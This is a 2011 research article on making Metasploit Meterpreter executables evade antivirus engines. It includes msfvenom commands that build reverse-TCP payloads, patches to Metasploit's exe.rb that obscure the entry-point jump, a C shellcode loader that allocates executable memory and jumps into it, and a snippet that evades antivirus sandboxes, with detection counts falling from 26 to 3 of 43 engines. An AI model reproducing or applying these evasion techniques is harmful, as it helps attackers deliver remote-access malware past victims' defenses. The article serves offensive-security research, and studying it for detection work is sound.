Facts and myths about antivirus evasion with Metasploit

by mihi <schierlm at users dot sourceforge dot net>, @mihi42

Introduction

When asking people about how to create a Meterpreter payload executable that evades antivirus, you will get different answers, like using encoders, or changing the template. Others say it is useless to use or even improve Metasploit's exe generation since the AV engines will detect the RWX stub, so you have to find your own way to get RWX memory. Some of these answers are just outdated, others still work, but for all of them there is no real evidence available on the Web. The reason for this is simple: AV evasion is like the Heisenberg uncertainty principle: Whenever you scan a piece of malware (and especially when you upload it to services like VirusTotal, you will affect future detection of the same file or similar files. And, a writeup like this will also affect how AV detects files, thus making it harder to evade it. Therefore, most researcher try to keep their information about antivirus private, having the consequence that a lot of research is done a lot of times.

This article tries to given an overview about the current executable generation scheme of Metasploit, how AV detects them, and how to evade them. Note that this document only covers standalone EXE files (for Windows) that replace an EXE template's functionality, and not other payloads for exploits, service executables (like for the windows/psexec exploit) or executables that merely add to the original template's functionality (like the -k option of msfpayload). Some situations (like some social engineering "exploits", or generating a Java applet that calls native meterpreter) will implicitly create such an EXE file, though, so it helps these use cases as well.

Current situation

A good writeup about how EXE files are currently generated is available at scriptjunkie's blog.

The following commands were used to generate test files:

..\..\ruby\bin\ruby.exe ..\msfvenom ^ -f exe -e x86/shikata_ga_nai -i 10 ^ -p windows/meterpreter/reverse_tcp ^ LHOST=localhost LPORT=4444 >default_meterpreter_%1.exe ..\..\ruby\bin\ruby.exe ..\msfvenom ^ -f exe -e generic/none ^ -p generic/custom ^ PAYLOADSTR= >default_none_%1.exe ..\..\ruby\bin\ruby.exe ..\msfvenom ^ -x %WINDIR%

otepad.exe -f exe -e x86/shikata_ga_nai -i 10 ^ -p windows/meterpreter/reverse_tcp ^ LHOST=localhost LPORT=4444 >notepad_meterpreter_%1.exe ..\..\ruby\bin\ruby.exe ..\msfvenom ^ -x %WINDIR%

otepad.exe -f exe -e generic/none ^ -p generic/custom ^ PAYLOADSTR= >notepad_none_%1.exe

They were uploaded to VirusTotal for analysis, the actual analysis reports are attached to the end of this document.

As of July 2011 (SVN revision 13090), the basic meterpreter image default_meterpreter.exe is detected by 26 of 43 antivirus engines (60%) listed at VirusTotal.

Using a different template

The definitely easiest way to reduce AV detection is using a different EXE template. Almost any native Win32 EXE file can be used, and a typical Windows user has thousands of them on his hard disk. Just pick one and AV detection will go down. The more exotic the software, the better. For this example, I chose notepad.exe from a German WinXP SP3 installation.

The default executable template ( msf3\data\templates\template_x86_windows.exe ) is detected by 3 AV engines (CAT-QuickHeal, SUPERAntiSpyware, VirusBuster) as malicious. Conversely, any other Meterpreter payload built from a different template is not detected by these three AV engines. For 4 other AV engines (AhnLab-V3, Emsisoft, Ikarus, Panda), the templates themselves are not detected, but payloads built from that template are detected, but not the payloads from the Notepad template. Therefore, just by using a custom template, you can reduce the detection rate from 26 to 19 engines (44%).

Improving payload encoders

Improving payload encoders is much harder, especially since the x86/shikata_ga_nai encoder (that uses a polymorphic decoder stub) is excellent for evasion. Testing this option is easy, by testing with EXE files without a payload at all. If they are still detected, encoders will not be able to help avoid detection either. When looking at the overall results, there is not a single antivirus where removing the payload improves detection in all cases. For 6 of them (BitDefender, Emsisoft, F-Secure, Ikarus, NOD32, nProtect), removing the payload sometimes dereases the detection rate, but not in all cases.

As a conclusion, considering the amount of time that would be needed to improve encoders further, improvement of encoders is basically only interesting if it also helps evasion of IDS/IPS or similar systems. We will look at different options in this article, though.

Obfuscating the way from the entry point to the stager

As scriptjunkie wrote in his article, tracing from the entry point over the nop sled to the jump that jumps to the RWX stub is quite easy to do. In case AV is using it for detection, it might be an option to look at opportunities to make that code more complex.

To test this, I modified the EXE generator so that it does not fix the entry point at all, resulting in broken executables that do not run the payload. On the other hand, all the evil code (RWX stub and payload) is still in there, so if the AV does not trace execution but detect the payload in another way, it should still detect the file. The following patch was used to achieve this:

Index: exe.rb =================================================================== --- exe.rb (revision 13090) +++ exe.rb (working copy) @@ -314,7 +314,7 @@ exe = fd.read(fd.stat.size) } - exe[ exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = [ text.base_rva + block[0] + eidx ].pack("V") + # exe[ exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = [ text.base_rva + block[0] + eidx ].pack("V") exe[off_beg, data.length] = data tds = pe.hdr.file.TimeDateStamp

The resulting files were only detected by one antivirus engines (DrWeb); although they still contain the full payload and RWX stub. Some people will now start complaining again that it is pointless to AV check files that do not run at all. To prove them wrong, I tried a simple modification to the encoder so that it does not create a relative jump, but an indirect one to a register that is initialized via XORing two values. I also added a small loop to make tracing the execution flow harder. The following patch was used to achieve this:

Index: exe.rb =================================================================== --- exe.rb (revision 13090) +++ exe.rb (working copy) @@ -285,7 +285,7 @@ eidx = nil # Pad the entry point with random nops - entry = generate_nops(framework, [ARCH_X86], rand(200)+51) + entry = generate_nops(framework, [ARCH_X86], rand(181)+51) # Pick an offset to store the new entry point if(eloc == 0) # place the entry point before the payload @@ -296,8 +296,17 @@ eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length end - # Relative jump from the end of the nops to the payload - entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V') + # Indirect jump from the end of the nops to the payload + xorvalue = rand(0x100000000) + tmpvalue = rand(0x100000000) + entry += "\xb8" + [xorvalue].pack('V') # mov eax, ... + entry += "\x66\xb9\x00\x10" # mov cx, 0x1000 + entry += "\x35" + [tmpvalue].pack('V') # loop: xor eax, ... + entry += "\x66\x49" # dec cx + entry += "\x75\xf7" # jnz loop + # TODO: Any better way to get the EXE base address (0x01000000)? + entry += "\x35" + [xorvalue ^ (0x01000000 + text.base_rva + block[0] + poff)].pack('V') # xor eax, ... + entry += "\xff\xe0" # jmp eax # Mangle 25% of the original executable 1.upto(block[1] / 4) do

That way, the binary without a payload was only detected by 4 AV engines, and a binary with meterpreter was detected by 9 AV engines, which is quite an improvement from 19 engines, considering this primitive way of obfuscation.

Just to make it clear, I do not propose applying this patch to Metasploit - it is easy for the AV guys to update their detections. But having some more complicated way of jumping to the entry point (using polymorphic code, for example) could help quite a bit to reduce AV detection and I think it is easier to write polymorphic "jump anywhere" code than a polymorphic RWX stub...

Obfuscating/replacing the RWX stub

Obfuscation of the RWX stub is hard, especially since you cannot use self-modifying code. So to obfuscate the RWX stub, you are basically limited to replacing opcodes by others with same/similar effect, and to reordering parts. An alternative might be to do a simple "VM" that reads instructions from heap or stack, because it can modify the instructions there; however, this is quite some amount of work with no guarantee that it will help for long.

To assess the potential success of this method, I tried to build executables that do not make the memory RWX before executing it, using the following patch:

Index: exe.rb =================================================================== --- exe.rb (revision 13090) +++ exe.rb (working copy) @@ -135,7 +135,7 @@ set_template_default(opts, "template_x86_windows.exe") # Copy the code to a new RWX segment to allow for self-modifying encoders - payload = win32_rwx_exec(code) + payload = code #win32_rwx_exec(code) # Create a new PE object and run through sanity checks endjunk = true

The resulting files were still detected by AVG and DrWeb; when comparing them with the other "broken" files (with the bad entry point), they do not perform better, but actually they perform worse in the sense that only the nop sled seems to be sufficient to make AVG detect it as malicious, while AVG did not detect the executables with the modified entry point. On the other hand, the file with the XORed entry point was detected by AVG again, increasing the probability that it is indeed the nop sled (without the following jump) that make AVG detect the file.

Considering the vast amount of time needed to make a new rwx stub, combined with the low success chance (it will not help against AVG or DrWeb), I'll skip this option for now, and look at the other ones.

Using your own template for the old exe-small format

Metasploit includes an "old" option called exe-small to build executables from a template that reserves space for the payload and stores its length at a fixed position. Using this template method, no part of the text section has to be modified dynamically, therefore reducing the risk of heuristics detecting the file. On the other hand, the text section is static, making it easy to detect a given sample with static signatures. Therefore, once such a sample is used (and maybe uploaded to VirusTotal, either by you or by your target), the sample has to be considered "burnt" in the sense that a few hours to days later, most AVs will detect your samples with ease. This makes it hard to test the effectiveness of this approach, especially if you want to use the generated samples (if you test them, they will be useless afterwards).

I built a small exe sample using VC++ Express 2008 by creating a console application project without precompiled headers and changed the Runtime Library option from /MTD to /MT (so that it does not link against VC runtime DLLs).

Here is the source of my C program:

#define WIN32_LEAN_AND_MEAN #include <windows.h> #define SCSIZE 4096 char payload[SCSIZE] = "PAYLOAD:"; char comment[641] = "1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É" "1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É" "1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É" "1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É" "1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É" "1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É" "1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É" "1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É" "1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É" "1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É" "1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É" "1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É" "1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É" "1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É" "1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É" "1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É1É"; int main(int argc, char* argv[]) { void* x = payload; (*(void (*)()) x)(); return 0; }

A small patch was required to make Metasploit detect the new template and properly make the section RWX:

Index: exe.rb =================================================================== --- exe.rb (revision 13090) +++ exe.rb (working copy) @@ -369,8 +369,8 @@ pe[ci, buf.length] = buf # Make the data section executable - xi = pe.index([0xc0300040].pack('V')) - pe[xi,4] = [0xe0300020].pack('V') + xi = pe.index([0xc0000040].pack('V')) + pe[xi,4] = [0xe0000020].pack('V') # Add a couple random bytes for fun pe << Rex::Text.rand_text(rand(64)+4)

(Un-)Fortunately, even the empty template without payload was detected by one antivirus, probably because of that RWX section. Let's try again, this time without the code that makes the section RWX (commenting out the two lines changed by the patch above) but instead copying the payload ourselves into RWX memory:

int main(int argc, char* argv[]) { void* p = VirtualAlloc(NULL, SCSIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); char* pp = (char*) p; char* x = payload; int i; for(i = 0; i < SCSIZE; i++) *pp++ = *x++; (*(void (*)()) p)(); return 0; }

Now, the empty payload does not trigger any antivirus (which is correct, since it is not malicious; but at least no heuristics caught this template) and the meterpreter payload is detected only by Microsoft, Kaspersky, F-Secure and other engines that I think use either of these engines, resulting in a 6 of 43 detection rate (14%).

The next question that arises: Do those 6 antivirus detect the shikata_ga_nai encoder or do they sandbox the executable and detect the real behaviour (reverse shell)? To test this, I built an executable that uses an empty payload, but encoded with shikata_ga_nai 10 times:

..\..\ruby\bin\ruby.exe ..\msfvenom ^ -x ExeTemplate.exe ^ -f exe-small -e x86/shikata_ga_nai -i 10 ^ -p generic/custom ^ PAYLOADSTR= >exesmall_encodednone_%1.exe

This template is also detected by none of the antivirus engines; the shikata_ga_nai encoder is not the culprit of detection.

As a conclusion, if you have the time and skill to design your own exe stub, it is the best option of all the options tried by now. But remember that you cannot use it very often, since creating signatures for it is very easy (definitely easier than writing the new stub, and also a lot easier than deobfuscating the entry point nop sled), so it is a good option only for "important" targets (or ones where you can be pretty sure it will not be detected). If you have to target one of the antivirus engines that use sandboxing, you will have to evade this separately, though.

Antivirus Sandbox evasion

To evade sandboxing, there are basically three ways I can think of (maybe there are more):

Try to use more computing power/time than the sandbox allows you to have

Call API functions that are hard to emulate, or API functions that indicate the application has started/finished in the hope that the antivirus will give up

Call API functions where you think a sandbox will emulate them incorrectly, and verify the result; if incorrect, stop immediately (similar to what some current malware does when it detects a VM to complicate reversing)

I thought of a simple code snippet that tries to implement all the three ways: The first one is done by a Sleep() call, the second one by calling PeekMessage (which usually indicates the application finished initializing), and the third one by verifying with GetTickCount that the Sleep call really slept (in case the sandbox just implemented Sleep as a no-op) and by verifying that the received message is really the same that was posted. Of course, there are more sophisticated ways, like starting multiple threads, doing interlocked operations and verifying the results and the timing, but I wanted to start simple.

Therefore, I added this code to the beginning of my example:

MSG msg; DWORD tc; PostThreadMessage(GetCurrentThreadId(), WM_USER + 2, 23, 42); if (!PeekMessage(&msg, (HWND)-1, 0, 0, 0)) return 0; if (msg.message != WM_USER+2 || msg.wParam != 23 || msg.lParam != 42) return 0; tc = GetTickCount(); Sleep(650); if (((GetTickCount() - tc) / 300) != 2) return 0;

As a result, almost all previous detections went away - only Microsoft and Kaspersky still believe this is malicious. On the other hand, that code seems to trigger a new heuristic in Sophos, increasing the number of antivirus that still detects the sample to 3 of 43 (7%). Sandbox evasion can be quite effective if your target AV is using it, you just have to be careful not triggering new heuristics with them... It should be possible to put the sandbox evasion into a Metasploit encoder (that prepends it) and encoding the result further to make it harder to detect; this is left as an exercise to the reader, though.

Using standard payloads/encoders with your own loader

To be continued? I doubt it will get better than 3 of 43...

Virustotal results

Default template